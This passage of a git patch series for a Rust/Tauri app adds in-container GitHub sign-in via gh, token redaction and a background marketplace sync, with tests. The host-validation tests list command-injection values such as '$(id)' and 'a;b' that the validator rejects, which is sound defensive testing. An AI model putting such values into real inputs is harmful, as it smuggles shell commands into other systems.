sync_drops_state_records_without_a_kind_key_id() { + let Some(env) = env() else { return }; + install_all(&env); + let claude = env.home.join(".claude"); + let mine = [ + claude.join("skills/skill/SKILL.md"), + claude.join("agents/agent.md"), + ]; + for p in &mine { + fs::create_dir_all(p.parent().unwrap()).unwrap(); + fs::write(p, "mine\n").unwrap(); + } + let state_path = claude.join("triple-c/marketplace/state.json"); + let mut state = read_json(&state_path); + for bogus in ["skill", "agent", "widget:x", "agent:a:b", "plugin:a:b"] { + state["items"][bogus] = json!({ "commit": C1, "path": "/" }); + } + fs::write(&state_path, state.to_string()).unwrap(); + + payload(&env, &[], empty_manifest()); + let r = run(&env); + + assert_eq!(sorted(r.removed.clone()).len(), 4, "{r:?}"); + assert_eq!(r.errors.len(), 5, "{r:?}"); + assert!(claude_log(&env).is_empty(), "{:?}", claude_log(&env)); + for p in &mine { + assert_eq!(fs::read_to_string(p).unwrap(), "mine\n", "{}", p.display()); + } + let state = read_json(&state_path); + assert_eq!(state["items"], json!({}), "bogus records dropped"); +} -- 2.52.0 From d84637fd3960727a68b964889602c5cf4c43823b Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:27:22 -0700 Subject: [PATCH 20/45] Marketplace: GitHub sign-in through gh inside a container Drives `gh auth login --web` in a running project container over an attached pty, with GH_CONFIG_DIR/GIT_CONFIG_GLOBAL in a temp dir that is removed on exit (also on HUP/INT/TERM), emits the one-time code and redacted output lines, and returns the token read back between markers. Host validation reuses auth::valid_host plus a no-port check (F13); a cancel or timeout also pkills the in-container login (N9). Reuses the setup-token flow's AnsiStripper, push_capped_tail and Enter delay, made pub(crate) without behaviour change. Co-Authored-By: Claude Opus 5.5 --- .../src/commands/auth_token_commands.rs | 8 +- app/src-tauri/src/marketplace/gh_login.rs | 544 ++++++++++++++++++ app/src-tauri/src/marketplace/mod.rs | 1 + 3 files changed, 549 insertions(+), 4 deletions(-) create mode 100644 app/src-tauri/src/marketplace/gh_login.rs diff --git a/app/src-tauri/src/commands/auth_token_commands.rs b/app/src-tauri/src/commands/auth_token_commands.rs index 34c251b..6e057c5 100644 --- a/app/src-tauri/src/commands/auth_token_commands.rs +++ b/app/src-tauri/src/commands/auth_token_commands.rs @@ -114,7 +114,7 @@ const SETUP_TIMEOUT: Duration = Duration::from_secs(15 * 60); /// [`SETUP_TIMEOUT`]. Measured against 2.1.283 under a pty: 20 ms apart /// already submits reliably; this leaves headroom for the extra hops through /// Docker's exec socket, which can merge writes that arrive close together. -const SUBMIT_ENTER_DELAY: Duration = Duration::from_millis(250); +pub(crate) const SUBMIT_ENTER_DELAY: Duration = Duration::from_millis(250); /// Documented shape of a `setup-token` credential. const TOKEN_PREFIX: &str = "sk-ant-oat01-"; @@ -621,7 +621,7 @@ const MAX_ANSI_CARRY: usize = 64 * 1024; /// Stateful wrapper around [`strip_ansi_prefix`] that carries an incomplete /// trailing sequence over to the next chunk. #[derive(Default)] -struct AnsiStripper { +pub(crate) struct AnsiStripper { carry: Vec, /// OSC 8 link targets seen since the last [`AnsiStripper::take_links`]. /// Kept out of the return value so every existing caller and test of @@ -630,7 +630,7 @@ struct AnsiStripper { } impl AnsiStripper { - fn push(&mut self, chunk: &[u8]) -> String { + pub(crate) fn push(&mut self, chunk: &[u8]) -> String { self.carry.extend_from_slice(chunk); let (mut out, links, consumed) = strip_ansi_prefix(&self.carry); self.record_links(links); @@ -734,7 +734,7 @@ const REJECTION_SCAN_WINDOW: usize = 4096; const CODE_REJECTED_MARKERS: &[&str] = &["invalid code", "press enter to retry"]; /// Append `chunk` to `buf`, keeping no more than `cap` bytes of the tail. -fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) { +pub(crate) fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) { buf.push_str(chunk); if buf.len() <= cap { return; diff --git a/app/src-tauri/src/marketplace/gh_login.rs b/app/src-tauri/src/marketplace/gh_login.rs new file mode 100644 index 0000000..97c9ccf --- /dev/null +++ b/app/src-tauri/src/marketplace/gh_login.rs @@ -0,0 +1,544 @@ +//! GitHub sign-in through `gh auth login --web` inside a running container, for +//! hosts that have no `gh` of their own. The token is read back through the +//! exec, returned to the caller for the keychain, and never emitted, logged or +//! left behind in the container. + +use std::time::Duration; + +use futures_util::StreamExt; +use tauri::{AppHandle, Emitter}; +use tokio::io::AsyncWriteExt; +use tokio::sync::oneshot; + +use crate::commands::auth_token_commands::{push_capped_tail, AnsiStripper, SUBMIT_ENTER_DELAY}; +use crate::docker::exec::{ + create_attached_exec_as, exec_oneshot_as, wait_for_exec_exit, AttachedExec, +}; + +pub const CODE_EVENT: &str = "marketplace-gh-login-code"; +pub const OUTPUT_EVENT: &str = "marketplace-gh-login-output"; + +const LOGIN_TIMEOUT: Duration = Duration::from_secs(10 * 60); +const TOKEN_BEGIN: &str = "__TRIPLEC_TOKEN_BEGIN__"; +const TOKEN_END: &str = "__TRIPLEC_TOKEN_END__"; +/// Common prefix of both markers: any line containing it is never shown. +const TOKEN_MARKER: &str = "__TRIPLEC_TOKEN"; +const MAX_TRANSCRIPT: usize = 64 * 1024; +const MAX_PENDING_LINE: usize = 4096; + +/// Pre-flight N9: on cancel or timeout the attach is dropped, but `gh auth +/// login` would keep polling in the container. This matches both it and the +/// script around it (whose text contains the same words); errors are ignored. +const CANCEL_PKILL: [&str; 3] = ["pkill", "-f", "gh auth login --hostname"]; + +/// Constant script; the host is `$1` (argv, never interpolated), because +/// `create_attached_exec_as` takes no env. +/// +/// * `GH_CONFIG_DIR` / `GIT_CONFIG_GLOBAL` live in a temp dir removed on exit, +/// so the container is never left logged in. The `HUP INT TERM` trap turns a +/// signal (the pty closing, or the cancel `pkill`) into a normal exit so the +/// `EXIT` trap still runs — `sh` skips it when killed outright. +/// * `--git-protocol ssh --skip-ssh-key` avoids gh's "Authenticate Git with +/// your GitHub credentials?" prompt, which `https` triggers and which would +/// write a credential helper into the git config. +/// * `BROWSER=true` makes gh's "open the browser" step a no-op. +const GH_LOGIN_SCRIPT: &str = r#"set -eu +host="$1" +case "$host" in + '' | -* | *[!A-Za-z0-9.-]*) echo "invalid host" >&2; exit 2 ;; +esac +export HOME=/home/claude +d=$(mktemp -d) +trap 'rm -rf "$d"' EXIT +trap 'exit 130' HUP INT TERM +export GH_CONFIG_DIR="$d" GIT_CONFIG_GLOBAL="$d/gitconfig" BROWSER=true +gh auth login --hostname "$host" --web --git-protocol ssh --skip-ssh-key --scopes repo +t=$(gh auth token --hostname "$host") +printf '\n%s%s%s\n' __TRIPLEC_TOKEN_BEGIN__ "$t" __TRIPLEC_TOKEN_END__ +"#; + +/// Pre-flight F13: the shared host rule, minus ports — `gh auth login +/// --hostname` takes a bare name. +pub fn valid_host(host: &str) -> bool { + crate::marketplace::auth::valid_host(host) && !host.contains(':') +} + +/// Remove terminal control sequences and carriage returns from one complete +/// piece of text. An unterminated sequence at the end is dropped. The login +/// itself uses a streaming [`AnsiStripper`], which carries a sequence split +/// across chunks instead. +pub fn strip_ansi(s: &str) -> String { + AnsiStripper::default().push(s.as_bytes()) +} + +/// gh prints `! First copy your one-time code: XXXX-XXXX`, then either a URL +/// or "Press Enter to open in your browser". Returns (code, url). +pub fn parse_device_prompt(output: &str, host: &str) -> Option<(String, String)> { + const LABEL: &str = "one-time code:"; + let at = output.find(LABEL)? + LABEL.len(); + let code: String = output[at..] + .trim_start() + .chars() + .take_while(|c| c.is_ascii_alphanumeric() || *c == '-') + .collect(); + if code.len() < 6 || !code.contains('-') { + return None; + } + let url = output + .split_whitespace() + .find(|w| w.starts_with("https://") && w.contains("/login/device")) + .map(|w| { + w.trim_end_matches(|c: char| !c.is_ascii_alphanumeric() && c != '/') + .to_string() + }) + .unwrap_or_else(|| format!("https://{host}/login/device")); + Some((code, url)) +} + +pub fn extract_token(text: &str) -> Option { + let start = text.find(TOKEN_BEGIN)? + TOKEN_BEGIN.len(); + let end = start + text[start..].find(TOKEN_END)?; + let token = text[start..end].trim(); + if token.is_empty() || token.chars().any(|c| c.is_whitespace() || c.is_control()) { + return None; + } + Some(token.to_string()) +} + +/// Append `chunk` and hand back the complete lines, minus any line carrying the +/// token markers. A partial line waits in `pending` (so a marker split across +/// chunks is never shown), and is dropped if it grows past a bound. +pub fn take_display_lines(pending: &mut String, chunk: &str) -> String { + pending.push_str(chunk); + let Some(last_nl) = pending.rfind('\n') else { + if pending.len() > MAX_PENDING_LINE { + pending.clear(); + } + return String::new(); + }; + let complete: String = pending.drain(..=last_nl).collect(); + complete + .lines() + .filter(|l| !l.contains(TOKEN_MARKER)) + .map(|l| format!("{l}\n")) + .collect() +} + +/// What to show when the login ends without a token: the last few lines, with +/// any marker line removed. +fn failure_tail(transcript: &str) -> String { + let lines: Vec<&str> = transcript + .lines() + .filter(|l| !l.contains(TOKEN_MARKER) && !l.trim().is_empty()) + .collect(); + lines[lines.len().saturating_sub(5)..].join("\n") +} + +/// Pre-flight N9: stop the in-container login after a cancel or timeout. +async fn kill_container_login(container_id: &str) { + let cmd = CANCEL_PKILL.iter().map(|s| s.to_string()).collect(); + let _ = exec_oneshot_as(container_id, "claude", cmd, vec![]).await; +} + +/// Run `gh auth login --web` in the container and return the token it minted. +pub async fn run_gh_container_login( + app: &AppHandle, + account_id: &str, + container_id: &str, + host: &str, + mut cancel: oneshot::Receiver<()>, +) -> Result { + if !valid_host(host) { + return Err(format!("{host:?} is not a valid host name.")); + } + let AttachedExec { + exec_id, + mut output, + mut input, + } = create_attached_exec_as( + container_id, + vec![ + "sh".to_string(), + "-c".to_string(), + GH_LOGIN_SCRIPT.to_string(), + "triple-c-gh-login".to_string(), + host.to_string(), + ], + true, + "claude", + "/home/claude", + ) + .await?; + + let deadline = tokio::time::Instant::now() + LOGIN_TIMEOUT; + let mut stripper = AnsiStripper::default(); + let mut transcript = String::new(); + let mut pending = String::new(); + let mut code_sent = false; + let mut enter_sent = false; + + loop { + let next = tokio::select! { + _ = &mut cancel => { + drop(output); + drop(input); + kill_container_login(container_id).await; + return Err("GitHub sign-in cancelled. Nothing was stored.".to_string()); + } + next = tokio::time::timeout_at(deadline, output.next()) => match next { + Ok(next) => next, + Err(_) => { + drop(output); + drop(input); + kill_container_login(container_id).await; + return Err(format!( + "Timed out after {} minutes waiting for the GitHub sign-in. Nothing was stored.", + LOGIN_TIMEOUT.as_secs() / 60 + )); + } + }, + }; + let frame = match next { + Some(Ok(frame)) => frame, + Some(Err(e)) => { + return Err(format!( + "Lost the connection to gh: {e}. Nothing was stored." + )) + } + None => break, + }; + let text = stripper.push(&frame.into_bytes()); + push_capped_tail(&mut transcript, &text, MAX_TRANSCRIPT); + + let shown = take_display_lines(&mut pending, &text); + if !shown.is_empty() { + let _ = app.emit( + OUTPUT_EVENT, + serde_json::json!({ "account_id": account_id, "chunk": shown }), + ); + } + if !code_sent { + if let Some((code, url)) = parse_device_prompt(&transcript, host) { + let _ = app.emit( + CODE_EVENT, + serde_json::json!({ "account_id": account_id, "code": code, "url": url }), + ); + code_sent = true; + } + } + if code_sent && !enter_sent && transcript.contains("Press Enter") { + // The Enter is its own write, after a pause (PR #64): arriving with + // other bytes it can be read as part of a paste and swallowed. + tokio::time::sleep(SUBMIT_ENTER_DELAY).await; + input + .write_all(b"\r") + .await + .map_err(|e| format!("Could not answer gh's prompt: {e}. Nothing was stored."))?; + let _ = input.flush().await; + enter_sent = true; + } + } + + let status = wait_for_exec_exit(&exec_id).await; + if let Some(token) = extract_token(&transcript) { + return Ok(token); + } + Err(format!( + "gh did not complete the sign-in (exit status {}). Nothing was stored.\n{}", + status + .map(|c| c.to_string()) + .unwrap_or_else(|| "unknown".to_string()), + failure_tail(&transcript) + )) +} + +#[cfg(test)] +mod tests { + use super::*; + + const GH_PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\nPress Enter to open github.com in your browser... "; + + #[test] + fn the_device_code_is_read_and_the_url_defaults_to_the_host() { + assert_eq!( + parse_device_prompt(GH_PROMPT, "github.com"), + Some(( + "4F2A-9C1B".to_string(), + "https://github.com/login/device".to_string() + )) + ); + } + + #[test] + fn an_explicit_device_url_wins() { + let out = "! First copy your one-time code: AB12-CD34\nOpen this URL to continue in your web browser: https://ghe.example.com/login/device\n"; + assert_eq!( + parse_device_prompt(out, "ghe.example.com"), + Some(( + "AB12-CD34".to_string(), + "https://ghe.example.com/login/device".to_string() + )) + ); + } + + #[test] + fn no_code_yet_means_no_prompt() { + assert_eq!( + parse_device_prompt("! First copy your one-time", "github.com"), + None + ); + assert_eq!(parse_device_prompt("", "github.com"), None); + } + + #[test] + fn the_token_is_taken_from_between_the_markers() { + let out = "✓ Logged in\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n"; + assert_eq!(extract_token(out), Some("test-token-not-real".to_string())); + assert_eq!( + extract_token("__TRIPLEC_TOKEN_BEGIN__test-token-not-real"), + None, + "unterminated" + ); + assert_eq!( + extract_token("__TRIPLEC_TOKEN_BEGIN____TRIPLEC_TOKEN_END__"), + None, + "empty" + ); + assert_eq!( + extract_token("__TRIPLEC_TOKEN_BEGIN__a b__TRIPLEC_TOKEN_END__"), + None, + "whitespace" + ); + } + + #[test] + fn only_complete_lines_are_shown_and_the_token_line_never_is() { + let mut pending = String::new(); + assert_eq!( + take_display_lines(&mut pending, "! First copy your one-"), + "" + ); + assert_eq!( + take_display_lines(&mut pending, "time code: 4F2A-9C1B\nPress"), + "! First copy your one-time code: 4F2A-9C1B\n" + ); + assert_eq!(pending, "Press"); + let shown = take_display_lines( + &mut pending, + " Enter\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\ndone\n", + ); + assert_eq!(shown, "Press Enter\ndone\n"); + assert!(!shown.contains("test-token-not-real")); + } + + #[test] + fn escape_sequences_and_carriage_returns_are_removed() { + assert_eq!(strip_ansi("\u{1b}[1;32m✓\u{1b}[0m done\r\n"), "✓ done\n"); + assert_eq!( + strip_ansi("a\u{1b}]8;;https://x\u{7}link\u{1b}]8;;\u{7}b"), + "alinkb" + ); + assert_eq!(strip_ansi("cut\u{1b}["), "cut"); + } + + #[test] + fn hosts_are_plain_names() { + assert!(valid_host("github.com")); + assert!(valid_host("ghe.corp-1.example")); + for bad in ["", "-x", "a b", "a;b", "a/b", "$(id)"] { + assert!(!valid_host(bad), "{bad:?}"); + } + } + + /// Pre-flight F13: the shared `auth::valid_host` accepts `host:port`, but + /// `gh auth login --hostname` takes a bare name, so a port is refused here. + #[test] + fn hosts_with_a_port_are_refused() { + assert!(crate::marketplace::auth::valid_host("ghe.corp:8443")); + assert!(!valid_host("ghe.corp:8443")); + assert!(!valid_host("ghe.corp:")); + } + + #[test] + fn the_failure_tail_never_carries_the_token() { + let transcript = "! First copy your one-time code: 4F2A-9C1B\n\ + __TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n\ + error: something odd\n"; + let tail = failure_tail(transcript); + assert!(!tail.contains("test-token-not-real")); + assert!(tail.contains("error: something odd")); + } + + /// Pre-flight N9: the cancel/timeout `pkill -f` pattern has to match the + /// `gh` command line the script runs. + #[test] + fn the_cancel_pattern_matches_the_script() { + assert_eq!(CANCEL_PKILL[0], "pkill"); + assert_eq!(CANCEL_PKILL[1], "-f"); + assert!(GH_LOGIN_SCRIPT.contains(CANCEL_PKILL[2])); + } + + /// The script end to end against a stand-in `gh`, as a login would run it + /// inside the container (minus Docker). + #[cfg(unix)] + mod script { + use super::super::*; + use std::os::unix::fs::PermissionsExt; + use std::path::{Path, PathBuf}; + use std::process::{Command, Stdio}; + + /// A fake `gh` that records its environment into `log_dir` and prints + /// the fixture token for `auth token`. `login_body` runs for `auth login`. + fn fake_gh(dir: &Path, log_dir: &Path, login_body: &str) -> PathBuf { + let bin = dir.join("bin"); + std::fs::create_dir_all(&bin).unwrap(); + let gh = bin.join("gh"); + std::fs::write( + &gh, + format!( + "#!/bin/sh\n\ + log='{log}'\n\ + case \"$1 $2\" in\n\ + 'auth login')\n\ + printf '%s\\n' \"$GH_CONFIG_DIR\" > \"$log/config_dir\"\n\ + printf '%s\\n' \"$GIT_CONFIG_GLOBAL\" > \"$log/git_config\"\n\ + printf '%s\\n' \"$BROWSER\" > \"$log/browser\"\n\ + printf '%s\\n' \"$*\" > \"$log/args\"\n\ + echo 'token-in-config' > \"$GH_CONFIG_DIR/hosts.yml\"\n\ + {login}\n\ + ;;\n\ + 'auth token') echo test-token-not-real ;;\n\ + *) exit 9 ;;\n\ + esac\n", + log = log_dir.display(), + login = login_body, + ), + ) + .unwrap(); + std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap(); + bin + } + + fn script_command(bin: &Path, tmp: &Path, host: &str) -> Command { + let mut cmd = Command::new("sh"); + cmd.arg("-c") + .arg(GH_LOGIN_SCRIPT) + .arg("triple-c-gh-login") + .arg(host) + .env( + "PATH", + format!("{}:{}", bin.display(), std::env::var("PATH").unwrap()), + ) + .env("TMPDIR", tmp); + cmd + } + + fn read(p: PathBuf) -> String { + std::fs::read_to_string(p).unwrap().trim().to_string() + } + + #[test] + fn the_token_comes_back_and_the_temp_config_is_gone() { + let root = tempfile::tempdir().unwrap(); + let log = root.path().join("log"); + let tmp = root.path().join("tmp"); + std::fs::create_dir_all(&log).unwrap(); + std::fs::create_dir_all(&tmp).unwrap(); + let bin = fake_gh(root.path(), &log, "echo '✓ Logged in'"); + + let out = script_command(&bin, &tmp, "github.com").output().unwrap(); + assert!( + out.status.success(), + "{}", + String::from_utf8_lossy(&out.stderr) + ); + let stdout = String::from_utf8_lossy(&out.stdout); + assert_eq!( + extract_token(&stdout), + Some("test-token-not-real".to_string()) + ); + + let config_dir = read(log.join("config_dir")); + assert!( + config_dir.starts_with(tmp.to_str().unwrap()), + "{config_dir}" + ); + assert!( + !Path::new(&config_dir).exists(), + "temp GH_CONFIG_DIR left behind" + ); + assert_eq!( + read(log.join("git_config")), + format!("{config_dir}/gitconfig") + ); + assert_eq!(read(log.join("browser")), "true"); + assert_eq!( + read(log.join("args")), + "auth login --hostname github.com --web --git-protocol ssh --skip-ssh-key --scopes repo" + ); + assert_eq!(std::fs::read_dir(&tmp).unwrap().count(), 0); + } + + #[test] + fn the_script_refuses_a_bad_host_on_its_own() { + let root = tempfile::tempdir().unwrap(); + let log = root.path().join("log"); + std::fs::create_dir_all(&log).unwrap(); + let bin = fake_gh(root.path(), &log, "true"); + for bad in ["", "-x", "a;b", "$(id)", "a:1"] { + let out = script_command(&bin, root.path(), bad).output().unwrap(); + assert_eq!(out.status.code(), Some(2), "{bad:?}"); + assert!(!log.join("args").exists(), "gh ran for {bad:?}"); + } + } + + /// Pre-flight N9: a cancel `pkill`s the login; the temp config must + /// still be removed when the script dies by signal. + #[test] + fn a_killed_login_still_removes_the_temp_config() { + use std::os::unix::process::CommandExt; + + let root = tempfile::tempdir().unwrap(); + let log = root.path().join("log"); + let tmp = root.path().join("tmp"); + std::fs::create_dir_all(&log).unwrap(); + std::fs::create_dir_all(&tmp).unwrap(); + let bin = fake_gh(root.path(), &log, "touch \"$log/started\"; sleep 30"); + + let mut child = script_command(&bin, &tmp, "github.com") + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .process_group(0) + .spawn() + .unwrap(); + let started = log.join("started"); + for _ in 0..200 { + if started.exists() { + break; + } + std::thread::sleep(std::time::Duration::from_millis(25)); + } + assert!(started.exists(), "fake gh never started"); + let config_dir = read(log.join("config_dir")); + assert!(Path::new(&config_dir).exists()); + + // Like `pkill -f`, which matches both the script and gh. + let pgid = child.id().to_string(); + let killed = Command::new("kill") + .args(["-s", "TERM", "--", &format!("-{pgid}")]) + .status() + .unwrap(); + assert!(killed.success(), "kill failed"); + let sent = std::time::Instant::now(); + child.wait().unwrap(); + assert!( + sent.elapsed() < std::time::Duration::from_secs(10), + "the script outlived the signal" + ); + assert!( + !Path::new(&config_dir).exists(), + "temp GH_CONFIG_DIR left behind" + ); + } + } +} diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index 39aa076..17f3f74 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -5,6 +5,7 @@ pub mod auth; pub mod catalog; pub mod diff; +pub mod gh_login; pub mod git; pub mod payload; pub mod tree; -- 2.52.0 From 310d55eb3713e3a23b3fa041715422fdc1e056f7 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:30:58 -0700 Subject: [PATCH 21/45] Marketplace: sync projects into their containers on start Waits for the entrypoint, uploads the payload and the sync script, runs it as claude and stores its report (payload skips merged in). The start hook spawns the sync in the background; a per-project lock serialises syncs of one project (pre-flight F11b). Co-Authored-By: Claude Opus 5.5 --- .../src/commands/project_commands.rs | 10 + app/src-tauri/src/docker/exec.rs | 10 +- app/src-tauri/src/marketplace/mod.rs | 181 ++++++++++++- app/src-tauri/src/marketplace/sync.rs | 247 ++++++++++++++++++ 4 files changed, 442 insertions(+), 6 deletions(-) diff --git a/app/src-tauri/src/commands/project_commands.rs b/app/src-tauri/src/commands/project_commands.rs index e82d011..e00e4a2 100644 --- a/app/src-tauri/src/commands/project_commands.rs +++ b/app/src-tauri/src/commands/project_commands.rs @@ -1449,6 +1449,16 @@ async fn start_project_container_locked( log::warn!("Failed to sync AWS credentials for project {}: {}", project.id, e); } + // Marketplace items sync in the background — see `spawn_project_sync` + // for why the start never waits on it or fails because of it. + crate::marketplace::spawn_project_sync( + app_handle.clone(), + state.marketplace.clone(), + state.settings_store.get(), + project.clone(), + container_id.clone(), + ); + Ok(container_id) }.await; diff --git a/app/src-tauri/src/docker/exec.rs b/app/src-tauri/src/docker/exec.rs index 7804d92..a285b4b 100644 --- a/app/src-tauri/src/docker/exec.rs +++ b/app/src-tauri/src/docker/exec.rs @@ -434,7 +434,8 @@ fn container_join(dir: &str, name: &str) -> String { /// Write `data` into the container at `/` with `mode`. /// /// For small, generated files — migration uses it for the `tar -T` include -/// list, which can be too long to pass as argv. Anything large should be +/// list, which can be too long to pass as argv, and the marketplace sync for +/// its payload tar and script. Anything large should be /// streamed through an attached exec's stdin instead, since this buffers the /// whole payload in memory twice (once raw, once tarred). pub async fn upload_bytes_to_container( @@ -446,9 +447,10 @@ pub async fn upload_bytes_to_container( ) -> Result { let docker = get_docker()?; - // Root-owned on purpose: the only caller is migration, whose `tar -T` list - // is read back as root. The mtime still gets stamped so the file doesn't - // read as 1970. + // Root-owned on purpose: migration's `tar -T` list is read back as root, + // and the marketplace sync uploads into a `claude`-owned directory it + // prepares first, so `claude` can still read and delete the files. The + // mtime still gets stamped so the file doesn't read as 1970. let tar_buf = build_single_file_tar(file_name, data, mode, 0, 0, now_epoch_secs())?; docker diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index 22d46be..30eae88 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -16,12 +16,13 @@ pub(crate) mod test_support; use std::collections::{BTreeSet, HashMap}; use std::path::{Path, PathBuf}; -use std::sync::Mutex; +use std::sync::{Arc, Mutex}; +use tauri::Emitter; use tokio::sync::oneshot; use crate::models::marketplace::{ - CatalogItem, ItemUpdate, Marketplace, MarketplaceInstall, MarketplaceSnapshot, SyncReport, + effective_installs, CatalogItem, ItemUpdate, Marketplace, MarketplaceInstall, MarketplaceSnapshot, SyncReport, }; use crate::models::{AppSettings, Project}; use catalog::{item_fingerprint, parse_catalog}; @@ -38,6 +39,9 @@ pub struct MarketplaceManager { /// Serialises writers of the bare caches (fetch, pins, cache removal) so /// concurrent refreshes never race on gix ref locks (pre-flight F11a). repo_lock: tokio::sync::Mutex<()>, + /// One lock per project, held for a whole `sync_project`, so a start sync + /// and Apply now never run `sync.sh` in one container at once (F11b). + sync_locks: Mutex>>>, } /// Project ids become file names; anything outside this set is not persisted. @@ -58,6 +62,7 @@ impl MarketplaceManager { reports: Mutex::new(HashMap::new()), gh_login_cancel: tokio::sync::Mutex::new(None), repo_lock: tokio::sync::Mutex::new(()), + sync_locks: Mutex::new(HashMap::new()), } } @@ -71,6 +76,16 @@ impl MarketplaceManager { &self.repo_lock } + /// The project's sync lock; see `sync_project`. + pub fn sync_lock(&self, project_id: &str) -> Arc> { + self.sync_locks + .lock() + .unwrap() + .entry(project_id.to_string()) + .or_default() + .clone() + } + pub fn snapshot(&self, marketplace_id: &str) -> Option { self.snapshots.lock().unwrap().get(marketplace_id).cloned() } @@ -329,6 +344,93 @@ pub fn compute_updates( out } +fn project_installs(settings: &AppSettings, project: &Project) -> Vec { + effective_installs( + &settings.global_marketplace_installs, + &project.marketplace_disabled, + &project.marketplace_installs, + ) +} + +/// Build the project's payload and sync it into its running container. The +/// report is stored (and persisted) whatever happens. Holds the project's sync +/// lock throughout, so concurrent syncs of one project run one after another. +pub async fn sync_project( + mgr: &MarketplaceManager, + settings: &AppSettings, + project: &Project, + container_id: &str, +) -> SyncReport { + let lock = mgr.sync_lock(&project.id); + let _sync_guard = lock.lock().await; + + let installs = project_installs(settings, project); + let marketplaces = settings.marketplaces.clone(); + let root = mgr.data_root().to_path_buf(); + let built = tokio::task::spawn_blocking(move || { + payload::build_payload(&payload::PayloadInput { + installs: &installs, + marketplaces: &marketplaces, + data_root: &root, + }) + }) + .await + .map_err(|e| format!("Building the marketplace payload failed: {e}")) + .and_then(|r| r); + + let report = match built { + Ok(p) => { + let items = p.manifest["items"].as_array().map_or(0, Vec::len); + log::debug!( + "Marketplace sync for project {}: {} item(s) in the payload, {} skipped on the host", + project.id, + items, + p.skipped.len() + ); + let result = sync::sync_container(container_id, &p).await; + sync::with_payload_skips(sync::report_from_result(result), &p.skipped) + } + Err(e) => sync::report_from_result(Err(e)), + }; + mgr.put_report(&project.id, report.clone()); + report +} + +/// A project with no items that has never been synced has nothing to add and +/// nothing to remove, so its start does not wait on a sync at all. +pub fn should_sync(mgr: &MarketplaceManager, settings: &AppSettings, project: &Project) -> bool { + !project_installs(settings, project).is_empty() || mgr.report(&project.id).is_some() +} + +/// Sync in the background after a container start. The sync waits for the +/// entrypoint to finish (which can include a two-minute `claude update`), and +/// its failure must never fail the start — so the start never awaits it. +pub fn spawn_project_sync( + app: tauri::AppHandle, + mgr: Arc, + settings: AppSettings, + project: Project, + container_id: String, +) { + if !should_sync(&mgr, &settings, &project) { + return; + } + tauri::async_runtime::spawn(async move { + let report = sync_project(&mgr, &settings, &project, &container_id).await; + if !report.errors.is_empty() { + log::warn!( + "Marketplace sync for project {} reported errors: {:?}", + project.id, + report.errors + ); + } + let _ = app.emit( + SYNC_FINISHED_EVENT, + serde_json::json!({ "project_id": project.id, "report": report }), + ); + }); +} + /// All commits referenced by installs, per marketplace (for `git::set_pins`). pub fn pins_by_marketplace( settings: &AppSettings, @@ -560,4 +662,79 @@ mod tests { "slot is free after cancel" ); } + + #[test] + fn a_project_that_never_had_items_is_not_synced() { + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let settings = settings_with("https://example.invalid/r.git"); + let project = crate::models::Project::new("p".into(), vec![]); + assert!(!should_sync(&mgr, &settings, &project)); + } + + #[test] + fn a_project_with_items_or_a_previous_sync_is_synced() { + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let mut settings = settings_with("https://example.invalid/r.git"); + let project = crate::models::Project::new("p".into(), vec![]); + settings.global_marketplace_installs = vec![install(ItemKind::Agent, "a", &"a".repeat(40))]; + assert!(should_sync(&mgr, &settings, &project), "global items apply"); + + // Everything was uninstalled since the last sync: the container still + // holds the old files, so it must be synced to remove them. + settings.global_marketplace_installs.clear(); + mgr.put_report(&project.id, SyncReport::default()); + assert!(should_sync(&mgr, &settings, &project)); + } + + #[test] + fn a_project_whose_only_item_is_disabled_is_not_synced() { + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let mut settings = settings_with("https://example.invalid/r.git"); + let inst = install(ItemKind::Agent, "a", &"a".repeat(40)); + let mut project = crate::models::Project::new("p".into(), vec![]); + project.marketplace_disabled = vec![inst.item_ref()]; + settings.global_marketplace_installs = vec![inst]; + assert!(!should_sync(&mgr, &settings, &project)); + } + + #[test] + fn sync_locks_are_per_project() { + let mgr = MarketplaceManager::new(std::env::temp_dir()); + let a1 = mgr.sync_lock("a"); + let a2 = mgr.sync_lock("a"); + let b = mgr.sync_lock("b"); + assert!(Arc::ptr_eq(&a1, &a2), "one lock per project"); + assert!(!Arc::ptr_eq(&a1, &b), "projects do not block each other"); + } + + #[tokio::test] + async fn sync_project_waits_for_the_projects_sync_lock() { + // Pre-flight F11b: a start sync and Apply now must never run sync.sh + // in the same container at once. + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let settings = settings_with("https://example.invalid/r.git"); + let project = crate::models::Project::new("p".into(), vec![]); + + let lock = mgr.sync_lock(&project.id); + let guard = lock.lock().await; + let blocked = tokio::time::timeout( + std::time::Duration::from_millis(300), + sync_project(&mgr, &settings, &project, "no-such-container"), + ) + .await; + assert!(blocked.is_err(), "sync must wait while another sync holds the lock"); + assert_eq!(mgr.report(&project.id), None, "nothing ran while blocked"); + drop(guard); + + // No Docker (or no such container) here: the failure becomes a stored + // report instead of an error. + let report = sync_project(&mgr, &settings, &project, "no-such-container").await; + assert_eq!(report.errors.len(), 1, "{report:?}"); + assert!(!report.finished_at.is_empty()); + assert_eq!(mgr.report(&project.id), Some(report)); + } } diff --git a/app/src-tauri/src/marketplace/sync.rs b/app/src-tauri/src/marketplace/sync.rs index 